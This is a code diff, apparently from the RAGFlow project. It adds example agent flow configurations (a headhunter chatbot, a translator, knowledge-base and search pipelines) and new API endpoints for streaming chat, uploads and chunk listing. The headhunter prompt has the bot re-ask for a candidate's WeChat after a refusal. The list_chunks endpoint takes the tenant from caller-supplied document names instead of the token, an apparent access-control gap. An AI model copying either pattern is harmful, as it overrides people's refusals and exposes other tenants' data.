+          "category_description": {
+            "about_job": {
+              "description": "该问题关于职位本身或公司的信息。",
+              "examples": "什么岗位？\n汇报对象是谁?\n公司多少人？\n公司有啥产品？\n具体工作内容是啥？\n地点哪里？\n双休吗？",
+              "to": "retrieval:0"
+            },
+            "casual": {
+              "description": "该问题不关于职位本身或公司的信息，属于闲聊。",
+              "examples": "你好\n好久不见\n你男的女的？\n你是猴子派来的救兵吗？\n上午开会了?\n你叫啥？\n最近市场如何?生意好做吗？",
+              "to": "generate:casual"
+            },
+            "wechat": {
+              "description": "该回答表示他愿意加微信,或者已经报了微信号。",
+              "examples": "嗯\n可以\n是的\n哦\nyes\n15002333453\nwindblow_2231",
+              "to": "generate:get_wechat"
+            },
+            "giveup": {
+              "description": "该回答表示他不愿意加微信。",
+              "examples": "不需要\n不感兴趣\n暂时不看\n不要\nno\n不方便\n不知道还要加我微信",
+              "to": "generate:nowechat"
+            }
+          },
+          "message_history_window_size": 8
+        }
+      },
+      "downstream": [
+        "retrieval:0",
+        "generate:casual",
+        "generate:get_wechat",
+        "generate:nowechat"
+      ],
+      "upstream": ["answer:1"]
+    },
+    "generate:casual": {
+      "obj": {
+        "component_name": "Generate",
+        "params": {
+          "llm_id": "deepseek-chat",
+          "prompt": "你是AGI方向的猎头，现在候选人的聊了和职位无关的话题，请耐心的回应候选人，并将话题往该AGI的职位上带，最好能要到候选人微信号以便后面保持联系。",
+          "temperature": 0.9,
+          "message_history_window_size": 12,
+          "cite": false
+        }
+      },
+      "downstream": ["answer:1"],
+      "upstream": ["categorize:0", "categorize:1"]
+    },
+    "retrieval:0": {
+      "obj": {
+        "component_name": "Retrieval",
+        "params": {
+          "similarity_threshold": 0.2,
+          "keywords_similarity_weight": 0.3,
+          "top_n": 6,
+          "top_k": 1024,
+          "rerank_id": "BAAI/bge-reranker-v2-m3",
+          "kb_ids": ["869a236818b811ef91dffa163e197198"]
+        }
+      },
+      "downstream": ["generate:aboutJob"],
+      "upstream": ["categorize:0", "categorize:1"]
+    },
+    "generate:aboutJob": {
+      "obj": {
+        "component_name": "Generate",
+        "params": {
+          "llm_id": "deepseek-chat",
+          "prompt": "你是AGI方向的猎头，候选人问了有关职位或公司的问题，你根据以下职位信息回答。如果职位信息中不包含候选人的问题就回答不清楚、不知道、有待确认等。回答完后引导候选人加微信号，如：\n - 方便加一下微信吗，我把JD发您看看？\n  - 微信号多少，我把详细职位JD发您？\n      职位信息如下:\n      {input}\n      职位信息如上。",
+          "temperature": 0.02
+        }
+      },
+      "downstream": ["answer:1"],
+      "upstream": ["retrieval:0"]
+    },
+    "generate:get_wechat": {
+      "obj": {
+        "component_name": "Generate",
+        "params": {
+          "llm_id": "deepseek-chat",
+          "prompt": "你是AGI方向的猎头，候选人表示不反感加微信，如果对方已经报了微信号，表示感谢和信任并表示马上会加上；如果没有，则问对方微信号多少。你的微信号是weixin_kevin，E-mail是kkk@ragflow.com。说话不要重复。不要总是您好。",
+          "temperature": 0.1,
+          "message_history_window_size": 12,
+          "cite": false
+        }
+      },
+      "downstream": ["answer:1"],
+      "upstream": ["categorize:1"]
+    },
+    "generate:nowechat": {
+      "obj": {
+        "component_name": "Generate",
+        "params": {
+          "llm_id": "deepseek-chat",
+          "prompt": "你是AGI方向的猎头，当你提出加微信时对方表示拒绝。你需要耐心礼貌的回应候选人，表示对于保护隐私信息给予理解，也可以询问他对该职位的看法和顾虑。并在恰当的时机再次询问微信联系方式。也可以鼓励候选人主动与你取得联系。你的微信号是weixin_kevin，E-mail是kkk@ragflow.com。说话不要重复。不要总是您好。",
+          "temperature": 0.1,
+          "message_history_window_size": 12,
+          "cite": false
+        }
+      },
+      "downstream": ["answer:1"],
+      "upstream": ["categorize:1"]
+    },
+    "message:reject": {
+      "obj": {
+        "component_name": "Message",
+        "params": {
+          "messages": [
+            "好的，祝您生活愉快，工作顺利。",
+            "哦，好的，感谢您宝贵的时间！"
+          ]
+        }
+      },
+      "downstream": ["answer:0"],
+      "upstream": ["categorize:0"]
+    }
+  },
+  "history": [],
+  "messages": [],
+  "path": [],
+  "reference": [],
+  "answer": []
+}

agent/test/dsl_examples/intergreper.json

@@ -0,0 +1,39 @@
+{
+  "components": {
+            "begin": {
+                "obj":{
+                    "component_name": "Begin",
+                    "params": {
+                      "prologue": "Hi there! Please enter the text you want to translate in format like: 'text you want to translate' => target language. For an example: 您好！ => English"
+                    }
+                },
+                "downstream": ["answer:0"],
+                "upstream": []
+            },
+            "answer:0": {
+                "obj": {
+                    "component_name": "Answer",
+                    "params": {}
+                },
+                "downstream": ["generate:0"],
+                "upstream": ["begin", "generate:0"]
+            },
+            "generate:0": {
+                "obj": {
+                    "component_name": "Generate",
+                    "params": {
+                      "llm_id": "deepseek-chat",
+                      "prompt": "You are an professional interpreter.\n- Role: an professional interpreter.\n- Input format: content need to be translated => target language. \n- Answer format: => translated content in target language. \n- Examples:\n  - user: 您好！ => English. assistant: => How are you doing!\n  - user: You look good today. => Japanese. assistant: => 今日は調子がいいですね 。\n",
+                      "temperature": 0.5
+                    }
+                },
+                "downstream": ["answer:0"],
+                "upstream": ["answer:0"]
+            }
+  },
+  "history": [],
+  "messages": [],
+  "reference": {},
+  "path": [],
+  "answer": []
+}

agent/test/dsl_examples/interpreter.json

@@ -0,0 +1,39 @@
+{
+  "components": {
+            "begin": {
+                "obj":{
+                    "component_name": "Begin",
+                    "params": {
+                      "prologue": "Hi there! Please enter the text you want to translate in format like: 'text you want to translate' => target language. For an example: 您好！ => English"
+                    }
+                },
+                "downstream": ["answer:0"],
+                "upstream": []
+            },
+            "answer:0": {
+                "obj": {
+                    "component_name": "Answer",
+                    "params": {}
+                },
+                "downstream": ["generate:0"],
+                "upstream": ["begin", "generate:0"]
+            },
+            "generate:0": {
+                "obj": {
+                    "component_name": "Generate",
+                    "params": {
+                      "llm_id": "deepseek-chat",
+                      "prompt": "You are an professional interpreter.\n- Role: an professional interpreter.\n- Input format: content need to be translated => target language. \n- Answer format: => translated content in target language. \n- Examples:\n  - user: 您好！ => English. assistant: => How are you doing!\n  - user: You look good today. => Japanese. assistant: => 今日は調子がいいですね 。\n",
+                      "temperature": 0.5
+                    }
+                },
+                "downstream": ["answer:0"],
+                "upstream": ["answer:0"]
+            }
+  },
+  "history": [],
+  "messages": [],
+  "reference": {},
+  "path": [],
+  "answer": []
+}

agent/test/dsl_examples/keyword_wikipedia_and_generate.json

@@ -0,0 +1,62 @@
+{
+  "components": {
+            "begin": {
+                "obj":{
+                    "component_name": "Begin",
+                    "params": {
+                      "prologue": "Hi there!"
+                    }
+                },
+                "downstream": ["answer:0"],
+                "upstream": []
+            },
+            "answer:0": {
+                "obj": {
+                    "component_name": "Answer",
+                    "params": {}
+                },
+                "downstream": ["keyword:0"],
+                "upstream": ["begin"]
+            },
+            "keyword:0": {
+                "obj": {
+                    "component_name": "KeywordExtract",
+                    "params": {
+                      "llm_id": "deepseek-chat",
+                      "prompt": "- Role: You're a question analyzer.\n    - Requirements:\n     - Summarize user's question, and give top %s important keyword/phrase.\n    - Use comma as a delimiter to separate keywords/phrases.\n    - Answer format: (in language of user's question)\n    - keyword: ",
+                      "temperature": 0.2,
+                      "top_n": 1
+                    }
+                },
+                "downstream": ["wikipedia:0"],
+                "upstream": ["answer:0"]
+            },
+            "wikipedia:0": {
+                "obj":{
+                    "component_name": "Wikipedia",
+                    "params": {
+                      "top_n": 10
+                    }
+                },
+                "downstream": ["generate:0"],
+                "upstream": ["keyword:0"]
+            },
+            "generate:1": {
+                "obj": {
+                    "component_name": "Generate",
+                    "params": {
+                      "llm_id": "deepseek-chat",
+                      "prompt": "You are an intelligent assistant. Please answer the question based on content from Wikipedia. When the answer from Wikipedia is incomplete, you need to output the URL link of the corresponding content as well. When all the content searched from Wikipedia is irrelevant to the question, your answer must include the sentence, \"The answer you are looking for is not found in the Wikipedia!\". Answers need to consider chat history.\n       The content of Wikipedia is as follows:\n    {input}\n     The above is the content of Wikipedia.",
+                      "temperature": 0.2
+                    }
+                },
+                "downstream": ["answer:0"],
+                "upstream": ["wikipedia:0"]
+            }
+  },
+  "history": [],
+  "path": [],
+  "messages": [],
+  "reference": {},
+  "answer": []
+}

agent/test/dsl_examples/retrieval_and_generate.json

@@ -0,0 +1,54 @@
+{
+  "components": {
+            "begin": {
+                "obj":{
+                    "component_name": "Begin",
+                    "params": {
+                      "prologue": "Hi there!"
+                    }
+                },
+                "downstream": ["answer:0"],
+                "upstream": []
+            },
+            "answer:0": {
+                "obj": {
+                    "component_name": "Answer",
+                    "params": {}
+                },
+                "downstream": ["retrieval:0"],
+                "upstream": ["begin", "generate:0"]
+            },
+            "retrieval:0": {
+                "obj": {
+                    "component_name": "Retrieval",
+                    "params": {
+                      "similarity_threshold": 0.2,
+                      "keywords_similarity_weight": 0.3,
+                      "top_n": 6,
+                      "top_k": 1024,
+                      "rerank_id": "BAAI/bge-reranker-v2-m3",
+                      "kb_ids": ["869a236818b811ef91dffa163e197198"]
+                    }
+                },
+                "downstream": ["generate:0"],
+                "upstream": ["answer:0"]
+            },
+            "generate:0": {
+                "obj": {
+                    "component_name": "Generate",
+                    "params": {
+                      "llm_id": "deepseek-chat",
+                      "prompt": "You are an intelligent assistant. Please summarize the content of the knowledge base to answer the question. Please list the data in the knowledge base and answer in detail. When all knowledge base content is irrelevant to the question, your answer must include the sentence \"The answer you are looking for is not found in the knowledge base!\" Answers need to consider chat history.\n      Here is the knowledge base:\n      {input}\n      The above is the knowledge base.",
+                      "temperature": 0.2
+                    }
+                },
+                "downstream": ["answer:0"],
+                "upstream": ["retrieval:0"]
+            }
+  },
+  "history": [],
+  "messages": [],
+  "reference": {},
+  "path": [],
+  "answer": []
+}

agent/test/dsl_examples/retrieval_categorize_and_generate.json

@@ -0,0 +1,88 @@
+{
+  "components": {
+            "begin": {
+                "obj":{
+                    "component_name": "Begin",
+                    "params": {
+                      "prologue": "Hi there!"
+                    }
+                },
+                "downstream": ["answer:0"],
+                "upstream": []
+            },
+            "answer:0": {
+                "obj": {
+                    "component_name": "Answer",
+                    "params": {}
+                },
+                "downstream": ["categorize:0"],
+                "upstream": ["begin", "generate:0", "switch:0"]
+            },
+            "categorize:0": {
+                "obj": {
+                    "component_name": "Categorize",
+                    "params": {
+                      "llm_id": "deepseek-chat",
+                      "category_description": {
+                        "product_related": {
+                          "description": "The question is about the product usage, appearance and how it works.",
+                          "examples": "Why it always beaming?\nHow to install it onto the wall?\nIt leaks, what to do?",
+                          "to": "retrieval:0"
+                        },
+                        "others": {
+                          "description": "The question is not about the product usage, appearance and how it works.",
+                          "examples": "How are you doing?\nWhat is your name?\nAre you a robot?\nWhat's the weather?\nWill it rain?",
+                          "to": "message:0"
+                        }
+                      }
+                    }
+                },
+                "downstream": ["retrieval:0", "message:0"],
+                "upstream": ["answer:0"]
+            },
+            "message:0": {
+                "obj":{
+                    "component_name": "Message",
+                    "params": {
+                      "messages": [
+                        "Sorry, I don't know. I'm an AI bot."
+                      ]
+                    }
+                },
+                "downstream": ["answer:0"],
+                "upstream": ["categorize:0"]
+            },
+            "retrieval:0": {
+                "obj": {
+                    "component_name": "Retrieval",
+                    "params": {
+                      "similarity_threshold": 0.2,
+                      "keywords_similarity_weight": 0.3,
+                      "top_n": 6,
+                      "top_k": 1024,
+                      "rerank_id": "BAAI/bge-reranker-v2-m3",
+                      "kb_ids": ["869a236818b811ef91dffa163e197198"]
+                    }
+                },
+                "downstream": ["generate:0"],
+                "upstream": ["switch:0"]
+            },
+            "generate:0": {
+                "obj": {
+                    "component_name": "Generate",
+                    "params": {
+                      "llm_id": "deepseek-chat",
+                      "prompt": "You are an intelligent assistant. Please summarize the content of the knowledge base to answer the question. Please list the data in the knowledge base and answer in detail. When all knowledge base content is irrelevant to the question, your answer must include the sentence \"The answer you are looking for is not found in the knowledge base!\" Answers need to consider chat history.\n      Here is the knowledge base:\n      {input}\n      The above is the knowledge base.",
+                      "temperature": 0.2
+                    }
+                },
+                "downstream": ["answer:0"],
+                "upstream": ["retrieval:0"]
+            }
+  },
+  "history": [],
+  "messages": [],
+  "reference": {},
+  "path": [],
+  "answer": []
+}

agent/test/dsl_examples/retrieval_relevant_and_generate.json

@@ -0,0 +1,82 @@
+{
+  "components": {
+            "begin": {
+                "obj":{
+                    "component_name": "Begin",
+                    "params": {
+                      "prologue": "Hi there!"
+                    }
+                },
+                "downstream": ["answer:0"],
+                "upstream": []
+            },
+            "answer:0": {
+                "obj": {
+                    "component_name": "Answer",
+                    "params": {}
+                },
+                "downstream": ["retrieval:0"],
+                "upstream": ["begin", "generate:0", "switch:0"]
+            },
+            "retrieval:0": {
+                "obj": {
+                    "component_name": "Retrieval",
+                    "params": {
+                      "similarity_threshold": 0.2,
+                      "keywords_similarity_weight": 0.3,
+                      "top_n": 6,
+                      "top_k": 1024,
+                      "rerank_id": "BAAI/bge-reranker-v2-m3",
+                      "kb_ids": ["869a236818b811ef91dffa163e197198"],
+                      "empty_response": "Sorry, knowledge base has noting related information."
+                    }
+                },
+                "downstream": ["relevant:0"],
+                "upstream": ["answer:0"]
+            },
+            "relevant:0": {
+                "obj": {
+                    "component_name": "Relevant",
+                    "params": {
+                      "llm_id": "deepseek-chat",
+                      "temperature": 0.02,
+                      "yes": "generate:0",
+                      "no": "message:0"
+                    }
+                },
+                "downstream": ["message:0", "generate:0"],
+                "upstream": ["retrieval:0"]
+            },
+            "generate:0": {
+                "obj": {
+                    "component_name": "Generate",
+                    "params": {
+                      "llm_id": "deepseek-chat",
+                      "prompt": "You are an intelligent assistant. Please answer the question based on content of knowledge base. When all knowledge base content is irrelevant to the question, your answer must include the sentence \"The answer you are looking for is not found in the knowledge base!\". Answers need to consider chat history.\n      Knowledge base content is as following:\n      {input}\n      The above is the content of knowledge base.",
+                      "temperature": 0.2
+                    }
+                },
+                "downstream": ["answer:0"],
+                "upstream": ["relevant:0"]
+            },
+            "message:0": {
+                "obj":{
+                    "component_name": "Message",
+                    "params": {
+                      "messages": [
+                        "Sorry, I don't know. Please leave your contact, our experts will contact you later. What's your e-mail/phone/wechat?",
+                        "I'm an AI bot and not quite sure about this question. Please leave your contact, our experts will contact you later. What's your e-mail/phone/wechat?",
+                        "Can't find answer in my knowledge base. Please leave your contact, our experts will contact you later. What's your e-mail/phone/wechat?"
+                      ]
+                    }
+                },
+                "downstream": ["answer:0"],
+                "upstream": ["relevant:0"]
+            }
+  },
+  "history": [],
+  "path": [],
+  "messages": [],
+  "reference": {},
+  "answer": []
+}

agent/test/dsl_examples/retrieval_relevant_keyword_baidu_and_generate.json

@@ -0,0 +1,103 @@
+{
+  "components": {
+            "begin": {
+                "obj":{
+                    "component_name": "Begin",
+                    "params": {
+                      "prologue": "Hi there!"
+                    }
+                },
+                "downstream": ["answer:0"],
+                "upstream": []
+            },
+            "answer:0": {
+                "obj": {
+                    "component_name": "Answer",
+                    "params": {}
+                },
+                "downstream": ["retrieval:0"],
+                "upstream": ["begin"]
+            },
+            "retrieval:0": {
+                "obj": {
+                    "component_name": "Retrieval",
+                    "params": {
+                      "similarity_threshold": 0.2,
+                      "keywords_similarity_weight": 0.3,
+                      "top_n": 6,
+                      "top_k": 1024,
+                      "rerank_id": "BAAI/bge-reranker-v2-m3",
+                      "kb_ids": ["21ca4e6a2c8911ef8b1e0242ac120006"],
+                      "empty_response": "Sorry, knowledge base has noting related information."
+                    }
+                },
+                "downstream": ["relevant:0"],
+                "upstream": ["answer:0"]
+            },
+            "relevant:0": {
+                "obj": {
+                    "component_name": "Relevant",
+                    "params": {
+                      "llm_id": "deepseek-chat",
+                      "temperature": 0.02,
+                      "yes": "generate:0",
+                      "no": "keyword:0"
+                    }
+                },
+                "downstream": ["keyword:0", "generate:0"],
+                "upstream": ["retrieval:0"]
+            },
+            "generate:0": {
+                "obj": {
+                    "component_name": "Generate",
+                    "params": {
+                      "llm_id": "deepseek-chat",
+                      "prompt": "You are an intelligent assistant. Please answer the question based on content of knowledge base. When all knowledge base content is irrelevant to the question, your answer must include the sentence \"The answer you are looking for is not found in the knowledge base!\". Answers need to consider chat history.\n      Knowledge base content is as following:\n      {input}\n      The above is the content of knowledge base.",
+                      "temperature": 0.2
+                    }
+                },
+                "downstream": ["answer:0"],
+                "upstream": ["relevant:0"]
+            },
+            "keyword:0": {
+                "obj": {
+                    "component_name": "KeywordExtract",
+                    "params": {
+                      "llm_id": "deepseek-chat",
+                      "prompt": "- Role: You're a question analyzer.\n    - Requirements:\n     - Summarize user's question, and give top %s important keyword/phrase.\n    - Use comma as a delimiter to separate keywords/phrases.\n    - Answer format: (in language of user's question)\n    - keyword: ",
+                      "temperature": 0.2,
+                      "top_n": 1
+                    }
+                },
+                "downstream": ["baidu:0"],
+                "upstream": ["relevant:0"]
+            },
+            "baidu:0": {
+                "obj":{
+                    "component_name": "Baidu",
+                    "params": {
+                      "top_n": 10
+                    }
+                },
+                "downstream": ["generate:1"],
+                "upstream": ["keyword:0"]
+            },
+            "generate:1": {
+                "obj": {
+                    "component_name": "Generate",
+                    "params": {
+                      "llm_id": "deepseek-chat",
+                      "prompt": "You are an intelligent assistant. Please answer the question based on content searched from Baidu. When the answer from a Baidu search is incomplete, you need to output the URL link of the corresponding content as well. When all the content searched from Baidu is irrelevant to the question, your answer must include the sentence, \"The answer you are looking for is not found in the Baidu search!\". Answers need to consider chat history.\n       The content of Baidu search is as follows:\n    {input}\n     The above is the content of Baidu search.",
+                      "temperature": 0.2
+                    }
+                },
+                "downstream": ["answer:0"],
+                "upstream": ["baidu:0"]
+            }
+  },
+  "history": [],
+  "path": [],
+  "messages": [],
+  "reference": {},
+  "answer": []
+}

agent/test/dsl_examples/retrieval_relevant_rewrite_and_generate.json

@@ -0,0 +1,79 @@
+{
+  "components": {
+            "begin": {
+                "obj":{
+                    "component_name": "Begin",
+                    "params": {
+                      "prologue": "Hi there!"
+                    }
+                },
+                "downstream": ["answer:0"],
+                "upstream": []
+            },
+            "answer:0": {
+                "obj": {
+                    "component_name": "Answer",
+                    "params": {}
+                },
+                "downstream": ["retrieval:0"],
+                "upstream": ["begin", "generate:0", "switch:0"]
+            },
+            "retrieval:0": {
+                "obj": {
+                    "component_name": "Retrieval",
+                    "params": {
+                      "similarity_threshold": 0.2,
+                      "keywords_similarity_weight": 0.3,
+                      "top_n": 6,
+                      "top_k": 1024,
+                      "rerank_id": "BAAI/bge-reranker-v2-m3",
+                      "kb_ids": ["869a236818b811ef91dffa163e197198"],
+                      "empty_response": "Sorry, knowledge base has noting related information."
+                    }
+                },
+                "downstream": ["relevant:0"],
+                "upstream": ["answer:0", "rewrite:0"]
+            },
+            "relevant:0": {
+                "obj": {
+                    "component_name": "Relevant",
+                    "params": {
+                      "llm_id": "deepseek-chat",
+                      "temperature": 0.02,
+                      "yes": "generate:0",
+                      "no": "rewrite:0"
+                    }
+                },
+                "downstream": ["generate:0", "rewrite:0"],
+                "upstream": ["retrieval:0"]
+            },
+            "generate:0": {
+                "obj": {
+                    "component_name": "Generate",
+                    "params": {
+                      "llm_id": "deepseek-chat",
+                      "prompt": "You are an intelligent assistant. Please answer the question based on content of knowledge base. When all knowledge base content is irrelevant to the question, your answer must include the sentence \"The answer you are looking for is not found in the knowledge base!\". Answers need to consider chat history.\n      Knowledge base content is as following:\n      {input}\n      The above is the content of knowledge base.",
+                      "temperature": 0.02
+                    }
+                },
+                "downstream": ["answer:0"],
+                "upstream": ["relevant:0"]
+            },
+            "rewrite:0": {
+                "obj":{
+                    "component_name": "RewriteQuestion",
+                    "params": {
+                      "llm_id": "deepseek-chat",
+                      "temperature": 0.8
+                    }
+                },
+                "downstream": ["retrieval:0"],
+                "upstream": ["relevant:0"]
+            }
+  },
+  "history": [],
+  "messages": [],
+  "path": [],
+  "reference": [],
+  "answer": []
+}

api/apps/__init__.py

@@ -25,7 +25,7 @@ from flask_cors import CORS
 from api.db import StatusEnum
 from api.db.db_models import close_connection
 from api.db.services import UserService
-from api.utils import CustomJSONEncoder
+from api.utils import CustomJSONEncoder, commands
 
 from flask_session import Session
 from flask_login import LoginManager
@@ -60,15 +60,21 @@ Session(app)
 login_manager = LoginManager()
 login_manager.init_app(app)
 
+commands.register_commands(app)
 
 
 def search_pages_path(pages_dir):
-    return [path for path in pages_dir.glob('*_app.py') if not path.name.startswith('.')]
+    app_path_list = [path for path in pages_dir.glob('*_app.py') if not path.name.startswith('.')]
+    api_path_list = [path for path in pages_dir.glob('*_api.py') if not path.name.startswith('.')]
+    app_path_list.extend(api_path_list)
+    return app_path_list
 
 
 def register_page(page_path):
-    page_name = page_path.stem.rstrip('_app')
-    module_name = '.'.join(page_path.parts[page_path.parts.index('api'):-1] + (page_name, ))
+    path = f'{page_path}'
+
+    page_name = page_path.stem.rstrip('_api') if "_api" in path else page_path.stem.rstrip('_app')
+    module_name = '.'.join(page_path.parts[page_path.parts.index('api'):-1] + (page_name,))
 
     spec = spec_from_file_location(module_name, page_path)
     page = module_from_spec(spec)
@@ -76,9 +82,8 @@ def register_page(page_path):
     page.manager = Blueprint(page_name, module_name)
     sys.modules[module_name] = page
     spec.loader.exec_module(page)
-
     page_name = getattr(page, 'page_name', page_name)
-    url_prefix = f'/{API_VERSION}/{page_name}'
+    url_prefix = f'/api/{API_VERSION}/{page_name}' if "_api" in path else f'/{API_VERSION}/{page_name}'
 
     app.register_blueprint(page.manager, url_prefix=url_prefix)
     return url_prefix
@@ -86,7 +91,7 @@ def register_page(page_path):
 
 pages_dir = [
     Path(__file__).parent,
-    Path(__file__).parent.parent / 'api' / 'apps',
+    Path(__file__).parent.parent / 'api' / 'apps', # FIXME: ragflow/api/api/apps, can be remove?
 ]
 
 client_urls_prefix = [

api/apps/api_app.py

@@ -13,21 +13,25 @@
 #  See the License for the specific language governing permissions and
 #  limitations under the License.
 #
+import json
 import os
 import re
 from datetime import datetime, timedelta
-from flask import request
+from flask import request, Response
 from flask_login import login_required, current_user
 
-from api.db import FileType, ParserType
-from api.db.db_models import APIToken, API4Conversation
+from api.db import FileType, ParserType, FileSource
+from api.db.db_models import APIToken, API4Conversation, Task, File
 from api.db.services import duplicate_name
 from api.db.services.api_service import APITokenService, API4ConversationService
 from api.db.services.dialog_service import DialogService, chat
 from api.db.services.document_service import DocumentService
+from api.db.services.file2document_service import File2DocumentService
+from api.db.services.file_service import FileService
 from api.db.services.knowledgebase_service import KnowledgebaseService
+from api.db.services.task_service import queue_tasks, TaskService
 from api.db.services.user_service import UserTenantService
-from api.settings import RetCode
+from api.settings import RetCode, retrievaler
 from api.utils import get_uuid, current_timestamp, datetime_format
 from api.utils.api_utils import server_error_response, get_data_error_result, get_json_result, validate_request
 from itsdangerous import URLSafeTimedSerializer
@@ -164,6 +168,7 @@ def completion():
     e, conv = API4ConversationService.get_by_id(req["conversation_id"])
     if not e:
         return get_data_error_result(retmsg="Conversation not found!")
+    if "quote" not in req: req["quote"] = False
 
     msg = []
     for m in req["messages"]:
@@ -180,13 +185,60 @@ def completion():
             return get_data_error_result(retmsg="Dialog not found!")
         del req["conversation_id"]
         del req["messages"]
-        ans = chat(dia, msg, **req)
+
         if not conv.reference:
             conv.reference = []
-        conv.reference.append(ans["reference"])
-        conv.message.append({"role": "assistant", "content": ans["answer"]})
-        API4ConversationService.append_message(conv.id, conv.to_dict())
-        return get_json_result(data=ans)
+        conv.message.append({"role": "assistant", "content": ""})
+        conv.reference.append({"chunks": [], "doc_aggs": []})
+
+        def fillin_conv(ans):
+            nonlocal conv
+            if not conv.reference:
+                conv.reference.append(ans["reference"])
+            else: conv.reference[-1] = ans["reference"]
+            conv.message[-1] = {"role": "assistant", "content": ans["answer"]}
+
+        def rename_field(ans):
+            reference = ans['reference']
+            if not isinstance(reference, dict):
+                return
+            for chunk_i in reference.get('chunks', []):
+                if 'docnm_kwd' in chunk_i:
+                    chunk_i['doc_name'] = chunk_i['docnm_kwd']
+                    chunk_i.pop('docnm_kwd')
+
+        def stream():
+            nonlocal dia, msg, req, conv
+            try:
+                for ans in chat(dia, msg, True, **req):
+                    fillin_conv(ans)
+                    rename_field(ans)
+                    yield "data:" + json.dumps({"retcode": 0, "retmsg": "", "data": ans}, ensure_ascii=False) + "\n\n"
+                API4ConversationService.append_message(conv.id, conv.to_dict())
+            except Exception as e:
+                yield "data:" + json.dumps({"retcode": 500, "retmsg": str(e),
+                                            "data": {"answer": "**ERROR**: "+str(e), "reference": []}},
+                                           ensure_ascii=False) + "\n\n"
+            yield "data:"+json.dumps({"retcode": 0, "retmsg": "", "data": True}, ensure_ascii=False) + "\n\n"
+
+        if req.get("stream", True):
+            resp = Response(stream(), mimetype="text/event-stream")
+            resp.headers.add_header("Cache-control", "no-cache")
+            resp.headers.add_header("Connection", "keep-alive")
+            resp.headers.add_header("X-Accel-Buffering", "no")
+            resp.headers.add_header("Content-Type", "text/event-stream; charset=utf-8")
+            return resp
+        else:
+            answer = None
+            for ans in chat(dia, msg, **req):
+                answer = ans
+                fillin_conv(ans)
+                API4ConversationService.append_message(conv.id, conv.to_dict())
+                break
+
+            rename_field(answer)
+            return get_json_result(data=answer)
+
     except Exception as e:
         return server_error_response(e)
 
@@ -199,7 +251,15 @@ def get(conversation_id):
         if not e:
             return get_data_error_result(retmsg="Conversation not found!")
 
-        return get_json_result(data=conv.to_dict())
+        conv = conv.to_dict()
+        for referenct_i in conv['reference']:
+            if referenct_i is None or len(referenct_i) == 0:
+                continue
+            for chunk_i in referenct_i['chunks']:
+                if 'docnm_kwd' in chunk_i.keys():
+                    chunk_i['doc_name'] = chunk_i['docnm_kwd']
+                    chunk_i.pop('docnm_kwd')
+        return get_json_result(data=conv)
     except Exception as e:
         return server_error_response(e)
 
@@ -233,6 +293,13 @@ def upload():
     if file.filename == '':
         return get_json_result(
             data=False, retmsg='No file selected!', retcode=RetCode.ARGUMENT_ERROR)
+
+    root_folder = FileService.get_root_folder(tenant_id)
+    pf_id = root_folder["id"]
+    FileService.init_knowledgebase_docs(pf_id, tenant_id)
+    kb_root_folder = FileService.get_kb_folder(tenant_id)
+    kb_folder = FileService.new_a_file_from_kb(kb.tenant_id, kb.name, kb_root_folder["id"])
+
     try:
         if DocumentService.get_doc_count(kb.tenant_id) >= int(os.environ.get('MAX_FILE_NUM_PER_USER', 8192)):
             return get_data_error_result(
@@ -264,11 +331,311 @@ def upload():
             "size": len(blob),
             "thumbnail": thumbnail(filename, blob)
         }
+
+        form_data=request.form
+        if "parser_id" in form_data.keys():
+            if request.form.get("parser_id").strip() in list(vars(ParserType).values())[1:-3]:
+                doc["parser_id"] = request.form.get("parser_id").strip()
         if doc["type"] == FileType.VISUAL:
             doc["parser_id"] = ParserType.PICTURE.value
+        if doc["type"] == FileType.AURAL:
+            doc["parser_id"] = ParserType.AUDIO.value
         if re.search(r"\.(ppt|pptx|pages)$", filename):
             doc["parser_id"] = ParserType.PRESENTATION.value
-        doc = DocumentService.insert(doc)
-        return get_json_result(data=doc.to_json())
+
+        doc_result = DocumentService.insert(doc)
+        FileService.add_file_from_kb(doc, kb_folder["id"], kb.tenant_id)
     except Exception as e:
         return server_error_response(e)
+
+    if "run" in form_data.keys():
+        if request.form.get("run").strip() == "1":
+            try:
+                info = {"run": 1, "progress": 0}
+                info["progress_msg"] = ""
+                info["chunk_num"] = 0
+                info["token_num"] = 0
+                DocumentService.update_by_id(doc["id"], info)
+                # if str(req["run"]) == TaskStatus.CANCEL.value:
+                tenant_id = DocumentService.get_tenant_id(doc["id"])
+                if not tenant_id:
+                    return get_data_error_result(retmsg="Tenant not found!")
+
+                #e, doc = DocumentService.get_by_id(doc["id"])
+                TaskService.filter_delete([Task.doc_id == doc["id"]])
+                e, doc = DocumentService.get_by_id(doc["id"])
+                doc = doc.to_dict()
+                doc["tenant_id"] = tenant_id
+                bucket, name = File2DocumentService.get_minio_address(doc_id=doc["id"])
+                queue_tasks(doc, bucket, name)
+            except Exception as e:
+                 return server_error_response(e)
+
+    return get_json_result(data=doc_result.to_json())
+
+
+@manager.route('/list_chunks', methods=['POST'])
+# @login_required
+def list_chunks():
+    token = request.headers.get('Authorization').split()[1]
+    objs = APIToken.query(token=token)
+    if not objs:
+        return get_json_result(
+            data=False, retmsg='Token is not valid!"', retcode=RetCode.AUTHENTICATION_ERROR)
+
+    req = request.json
+
+    try:
+        if "doc_name" in req.keys():
+            tenant_id = DocumentService.get_tenant_id_by_name(req['doc_name'])
+            doc_id = DocumentService.get_doc_id_by_doc_name(req['doc_name'])
+
+        elif "doc_id" in req.keys():
+            tenant_id = DocumentService.get_tenant_id(req['doc_id'])
+            doc_id = req['doc_id']
+        else:
+            return get_json_result(
+                data=False, retmsg="Can't find doc_name or doc_id"
+            )
+
+        res = retrievaler.chunk_list(doc_id=doc_id, tenant_id=tenant_id)
+        res = [
+            {
+                "content": res_item["content_with_weight"],
+                "doc_name": res_item["docnm_kwd"],
+                "img_id": res_item["img_id"]
+            } for res_item in res
+        ]
+
+    except Exception as e:
+        return server_error_response(e)
+
+    return get_json_result(data=res)
+
+
+@manager.route('/list_kb_docs', methods=['POST'])
+# @login_required
+def list_kb_docs():
+    token = request.headers.get('Authorization').split()[1]
+    objs = APIToken.query(token=token)
+    if not objs:
+        return get_json_result(
+            data=False, retmsg='Token is not valid!"', retcode=RetCode.AUTHENTICATION_ERROR)
+
+    req = request.json
+    tenant_id = objs[0].tenant_id
+    kb_name = req.get("kb_name", "").strip()
+
+    try:
+        e, kb = KnowledgebaseService.get_by_name(kb_name, tenant_id)
+        if not e:
+            return get_data_error_result(
+                retmsg="Can't find this knowledgebase!")
+        kb_id = kb.id
+
+    except Exception as e:
+        return server_error_response(e)
+
+    page_number = int(req.get("page", 1))
+    items_per_page = int(req.get("page_size", 15))
+    orderby = req.get("orderby", "create_time")
